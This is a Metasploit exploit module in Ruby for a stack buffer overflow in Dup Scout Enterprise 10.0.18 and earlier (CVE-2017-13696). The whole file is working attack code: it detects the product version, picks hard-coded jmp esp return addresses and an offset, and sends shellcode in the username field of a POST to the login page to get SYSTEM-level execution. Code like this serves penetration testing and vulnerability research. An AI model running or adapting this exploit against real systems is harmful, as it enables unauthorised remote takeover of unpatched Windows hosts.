##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Dup Scout Enterprise Login Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in Dup Scout Enterprise
          versions <= 10.0.18. The buffer overflow exists via the web interface
          during login. This gives NT AUTHORITY\SYSTEM access.

          This module has been tested successfully on Dup Scout Enterprise
          versions:

          9.9.14 on Windows 7 SP1 (x64);
          9.9.14 on Windows XP SP0 (x64);
          10.0.18 on Windows 7 SP1 (x64);
          10.0.18 on Windows XP SP0 (x86); and
          10.0.18 on Windows 10 (1909) (x64).
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'sickness', # Original discovery and exploit
            'Chris Higgins', # msf Module -- @ch1gg1ns
            'bcoles', # Automatic targetting and v9.9.14 target
          ],
        'References' =>
          [
            ['CVE', '2017-13696'],
            ['CWE', '121'],
            ['EDB', '42557'],
            ['EDB', '43145'],
            ['EDB', '40832']
          ],
        'DefaultOptions' =>
          {
            'EXITFUNC' => 'thread'
          },
        'Platform' => 'win',
        'Arch' => ARCH_X86,
        'Payload' =>
          {
            'BadChars' => "\x00\x0a\x0d\x25\x26\x2b\x3d"
          },
        'Targets' =>
          [
            [ 'Automatic', { 'auto' => true } ],
            [
              'Dup Scout Enterprise 9.9.14 (x86)',
              {
                # 0x100b5612 : push esp # ret  | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-
                'Version' => '9.9.14',
                'Ret' => 0x100b5612,
                'Offset' => 780
              }
            ],
            [
              'Dup Scout Enterprise 10.0.18 (x86)',
              {
                # 0x10090c83 : jmp esp |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-
                'Version' => '10.0.18',
                'Ret' => 0x10090c83,
                'Offset' => 780
              }
            ],
          ],
        'Notes' =>
        {
          'Stability' => [ CRASH_SERVICE_DOWN ],
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        },
        'Privileged' => true,
        'DisclosureDate' => '2017-11-14',
        'DefaultTarget' => 0
      )
    )

    register_options([Opt::RPORT(80)])
  end

  def check
    res = send_request_cgi({
      'uri' => '/',
      'method' => 'GET'
    })

    unless res
      return CheckCode::Unknown('Connection failed.')
    end

    version = res.body.scan(/>Dup Scout Enterprise v([\d.]+)</).flatten.first

    unless version
      return CheckCode::Safe('Target is not Dup Scout Enterprise.')
    end

    unless target_for_version(version)
      return CheckCode::Detected("No targets for Dup Scout Enterprise version #{version}.")
    end

    CheckCode::Appears("Dup Scout Enterprise version #{version}.")
  end

  def dup_version
    res = send_request_cgi({
      'uri' => '/',
      'method' => 'GET'
    })

    unless res
      return fail_with(Failure::Unreachable, 'Could not determine Dup Scout Enterprise version. No reply.')
    end

    res.body.scan(/>Dup Scout Enterprise v([\d.]+)</).flatten.first
  end

  def target_for_version(version)
    return unless version
    targets.select { |t| version == t['Version'] }.first
  end

  def exploit
    my_target = target

    if target.name == 'Automatic'
      print_status('Selecting a target...')
      my_target = target_for_version(dup_version)
      unless my_target
        fail_with(Failure::NoTarget, 'Unable to automatically detect a target')
      end
    end

    print_status("Using target: #{my_target.name}")

    print_status('Generating payload ...')

    evil = rand_text(my_target['Offset'])
    evil << [my_target.ret].pack('V')
    evil << make_nops(12)
    evil << payload.encoded
    evil << make_nops(10_000 - evil.length)

    print_status("Sending payload (#{evil.length} bytes) ...")

    send_request_cgi({
      'uri' => '/login',
      'method' => 'POST',
      'vars_post' => {
        'username' => evil,
        'password' => rand_text(10..20)
      }
    })
  end
end
